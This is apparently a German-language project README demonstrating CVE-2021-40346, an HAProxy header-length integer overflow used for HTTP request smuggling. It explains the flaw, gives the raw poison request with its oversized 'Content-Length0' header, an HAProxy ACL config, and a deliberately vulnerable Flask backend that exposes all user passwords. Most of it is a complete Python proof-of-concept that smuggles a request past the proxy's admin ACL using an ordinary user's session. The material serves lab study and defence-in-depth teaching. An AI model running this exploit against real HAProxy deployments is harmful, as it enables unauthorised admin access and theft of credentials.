
HTTP Request Smuggling
Dieses Projekt demonstriert CVE-2021-40346, eine kritische Integer-Overflow-Schwachstelle in HAProxy, die HTTP-Request-Smuggling-Angriffe zur Umgehung von Sicherheitskontrollen ermöglicht.
CVSSv3 Bewertung: 7.5 (Hoch)
CVE-2021-40346 ist eine Integer-Overflow-Schwachstelle in der HTTP-Header-Parsing-Logik von HAProxy. Wenn ein Header-Name 255 Bytes überschreitet, läuft der Längenwert von einem 8-Bit-Feld über, was dazu führt, dass HAProxy den Header während der Weiterleitung der Anfrage falsch interpretiert.
Angreifer sendet: Header-Name = "Content-Length0" + 255×'a' = 270 Bytes
Phase 1 (Anfängliches Parsen):
name_length = 270 % 256 = 14 (8-Bit-Überlauf)value_length = 1Content-Length: 60-Header und behandelt ihn als KörperlängePhase 2 (Anfrageweiterleitung):
"Content-Length""0"content-length: 0 zur weitergeleiteten Anfrage hinzuContent-Length: 60-Header (gemäß normaler Logik)Backend-Verarbeitung:
content-length: 0 von HAProxyBetrachten Sie HAProxy, das mit ACL-Regeln konfiguriert ist, die den Zugriff auf Admin-Routen einschränken:
http-request deny if { path_beg /users/admin }
In unserem PoC verwenden wir eine reguläre Benutzersitzung (alice), um auf das geschützte /users/admin-Endpunkt zuzugreifen, das nur für Administratoren zugänglich sein sollte.
Böswillige Anfrage (Anfrage 1 - Poison):
POST / HTTP/1.1
Host: 127.0.0.1:8080
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 78
GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:
Anfrage, die HAProxy weiterleitet:
POST / HTTP/1.1
host: 127.0.0.1:8080
content-length: 0
x-forwarded-for: 192.168.188.1
GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:
Abschlussanfrage (Anfrage 2):
GET / HTTP/1.1
Host: 127.0.0.1:8080
Komplette geschmuggelte Anfrage, die das Backend verarbeitet:
GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:GET / HTTP/1.1
Host: 127.0.0.1:8080
Ergebnis:
content-length: 0 weiter (ACL sieht sichere Route)Die anfällige HAProxy-Instanz ist mit ACL-Regeln konfiguriert, um den Admin-Endpunkt zu schützen:
...
# ACL to detect admin endpoint access
acl is_admin_endpoint path_beg /users/admin
# ACL to check for admin session cookie
acl has_admin_session cook(session) -m beg admin_
# Deny access to admin endpoint if user doesn't have admin session
http-request deny if is_admin_endpoint !has_admin_session
...
Wichtige Punkte:
/users/admin wird blockiert, es sei denn, das Sitzungs-Cookie beginnt mit admin_user_) werden abgewiesenDer Backend-Server hat drei Benutzer und einen Admin-Endpunkt:
USERS = [
{'id': 1, 'username': 'alice', 'password': 'alice123', 'role': 'user'},
{'id': 2, 'username': 'bob', 'password': 'bob456', 'role': 'user'},
{'id': 3, 'username': 'admin', 'password': 'admin_secret', 'role': 'admin'},
]
@app.route('/login', methods=['POST'])
def login():
# ... authentication logic ...
# Generate session token with role prefix
prefix = 'admin_' if user['role'] == 'admin' else 'user_'
token = prefix + secrets.token_hex(16)
resp.set_cookie('session', token, httponly=True)
return resp
@app.route('/users/admin', methods=['GET', 'POST'])
def users_admin():
# Returns sensitive data including all user passwords
rows = ''.join([
f"{u['id']} | {u['username']} | {u['email']} | "
f"{u['password']} | {u['role']}"
for u in USERS
])
return f"ADMIN PANELAll users with passwords:{rows}"
Sicherheitsmodell:
user_a1b2c3d4...admin_a1b2c3d4.../users/adminWarum dies funktioniert:
POST /-Anfrage (erlaubt)POST / (keine Admin-Einschränkung)content-length: 0 weiter (aufgrund des Überlauffehlers)GET /users/admin-AnfrageGET /users/admin direkt und gibt Passwörter preisLektion zur abgestuften Verteidigung: Dies zeigt, warum Backends dem Proxy niemals blind vertrauen sollten. Selbst mit den ACLs von HAProxy sollte das Backend:
@require_admin-Dekorator)Und sich ausschließlich auf die Zugriffskontrolle auf Proxy-Ebene zu verlassen, schafft einen einzelnen Fehlerpunkt.
Der PoC demonstriert die Umgehung von HAProxy-ACLs, um unter Verwendung der Sitzung eines regulären Benutzers auf /users/admin zuzugreifen, und zwar in vier wichtigen Schritten:
# Login as alice (non-admin user)
body = "username=alice&password=alice123"
login = f"POST /login HTTP/1.1\r\n" \
f"Host: {TARGET}:{PORT}\r\n" \
f"Content-Type: application/x-www-form-urlencoded\r\n" \
f"Content-Length: {len(body)}\r\n\r\n{body}".encode()
sock = socket.socket()
sock.connect((TARGET, PORT))
sock.sendall(login)
time.sleep(0.5)
# Receive response and extract session token
resp = b""
while True:
chunk = sock.recv(4096)
if not chunk:
break
resp += chunk
sock.close()
session = resp.decode().split('session=')[1].split(';')[0]
print(f"✓ Session: {session[:35]}...")
Zweck:
/users/admin-Endpunkt# Craft incomplete smuggled request targeting admin endpoint
smuggled_incomplete = f"GET /users/admin HTTP/1.1\r\nCookie: session={session}\r\nDUMMY:"
Wichtige Details:
/users/admin abDUMMY:-Header (kein CRLF), um die Anfrage unvollständig zu halten# Create overflow header (270 bytes = 14 after 8-bit overflow)
overflow_header = "Content-Length0" + ("a" * 255)
# Build complete poison request
poison = (
f"POST / HTTP/1.1\r\n"
f"Host: {TARGET}:{PORT}\r\n"
f"{overflow_header}:\r\n" # Triggers integer overflow
f"Content-Length: {len(smuggled_incomplete)}\r\n" # Real body length
f"\r\n"
f"{smuggled_incomplete}" # Smuggled request as "body"
).encode()
Was passiert:
Content-Length0aaa... (270 Bytes) läuft auf 14 Bytes über"Content-Length""0"content-length: 0# Send poison request
sock = socket.socket()
sock.connect((TARGET, PORT))
sock.sendall(poison)
time.sleep(1)
resp1 = sock.recv(4096) # Receive POST / response
# Send completion request (completes smuggled request)
completion = (
f"GET / HTTP/1.1\r\n"
f"Host: {TARGET}:{PORT}\r\n"
f"\r\n"
).encode()
sock.sendall(completion)
time.sleep(2)
# Capture the response of the smuggled request
all_data = b""
sock.settimeout(5)
try:
while True:
chunk = sock.recv(4096)
if not chunk:
break
all_data += chunk
except:
pass
sock.close()
# Decode and check for success
text = all_data.decode('utf-8', errors='ignore')
print(f"\n[RESULTS] {len(all_data)} bytes received")
print("="*70)
print(text)
print("="*70)
if "admin_secret" in text:
print("\n✅ SUCCESS! BYPASSED HAPROXY ACL!")
print("🔓 Stolen passwords visible in response above!")
else:
print("\n⚠️ Check backend logs - smuggling is working but response capture needs adjustment")
Anfrageablauf:
GET /users/admin unterGET /users/admin mit alices Sitzungadmin_secret-Schlüsselwort in der Antwort